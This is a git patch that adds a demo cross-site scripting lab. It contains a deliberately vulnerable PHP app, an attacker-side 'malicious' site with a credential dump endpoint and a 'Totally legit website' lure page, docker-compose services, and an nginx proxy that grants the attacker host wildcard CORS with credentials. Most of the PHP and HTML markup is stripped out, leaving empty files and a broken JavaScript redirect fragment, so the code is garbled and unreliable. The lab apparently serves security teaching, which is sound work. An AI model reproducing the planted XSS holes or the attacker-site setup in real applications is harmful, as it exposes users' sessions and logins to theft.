From c72b7b3b7f65990412cfd941316e252ea4c32773 Mon Sep 17 00:00:00 2001 From: Daniel-I-Am Date: Tue, 23 Nov 2021 18:24:38 +0100 Subject: [PATCH] Add demo XSS application --- app/index.php | 41 +++++++++++++++++++++++++++ app/login.php | 28 +++++++++++++++++++ docker-compose.yml | 17 ++++++++++++ malicious/dump.php | 3 ++ malicious/index.php | 20 +++++++++++++ proxy.conf | 68 +++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 177 insertions(+) create mode 100644 app/index.php create mode 100644 app/login.php create mode 100644 docker-compose.yml create mode 100644 malicious/dump.php create mode 100644 malicious/index.php create mode 100644 proxy.conf diff --git a/app/index.php b/app/index.php new file mode 100644 index 0000000..add697c --- /dev/null +++ b/app/index.php @@ -0,0 +1,41 @@ + + + + + + + + + SBD XSS | Home + + + +
Hey , how are you doing?
+
Enjoy this picture:
+
+
+ + +
+ Hey, what's your name? +
+
+ + +
+ + +
I know you are logged in as
+ + + diff --git a/app/login.php b/app/login.php new file mode 100644 index 0000000..36255df --- /dev/null +++ b/app/login.php @@ -0,0 +1,28 @@ + + + + + + + + + SBD XSS | Login + + +
+ Hey, what's your name? +
+
+ + +
+ + diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..815a601 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,17 @@ +version: "3.8" +services: + app: + image: php:8.0-apache + volumes: + - "./app:/var/www/html/" + malicious: + image: php:8.0-apache + volumes: + - "./malicious:/var/www/html/" + proxy: + image: nginx + ports: + - "8080:8080" + - "8081:8081" + volumes: + - "./proxy.conf:/etc/nginx/nginx.conf:ro" diff --git a/malicious/dump.php b/malicious/dump.php new file mode 100644 index 0000000..6f2371d --- /dev/null +++ b/malicious/dump.php @@ -0,0 +1,3 @@ + {window.location.href='/?name=Blegh';}); +EOS + +?> + + + + + + + + Totally legit website + + + This link has a nice picture + + diff --git a/proxy.conf b/proxy.conf new file mode 100644 index 0000000..f75a2be --- /dev/null +++ b/proxy.conf @@ -0,0 +1,68 @@ +user nginx; +worker_processes auto; + +error_log /var/log/nginx/error.log notice; +pid /var/run/nginx.pid; + +events { + worker_connections 1024; +} + +http { + include /etc/nginx/mime.types; + default_type application/octet-stream; + + log_format main '$remote_addr - $remote_user [$time_local] "$request" ' + '$status $body_bytes_sent "$http_referer" ' + '"$http_user_agent" "$http_x_forwarded_for"'; + + access_log /var/log/nginx/access.log main; + + sendfile on; + #tcp_nopush on; + + keepalive_timeout 65; + + #gzip on; + + include /etc/nginx/conf.d/*.conf; + + upstream app { + server app:80; + } + + upstream malicious { + server malicious:80; + } + + server { + listen 8080; + + location / { + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Server $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $host; + proxy_pass "http://app"; + } + } + + server { + listen 8081; + + location / { + add_header 'Access-Control-Allow-Origin' '*'; + add_header 'Access-Control-Allow-Credentials' 'true'; + + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Server $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $host; + proxy_pass "http://malicious"; + } + } +}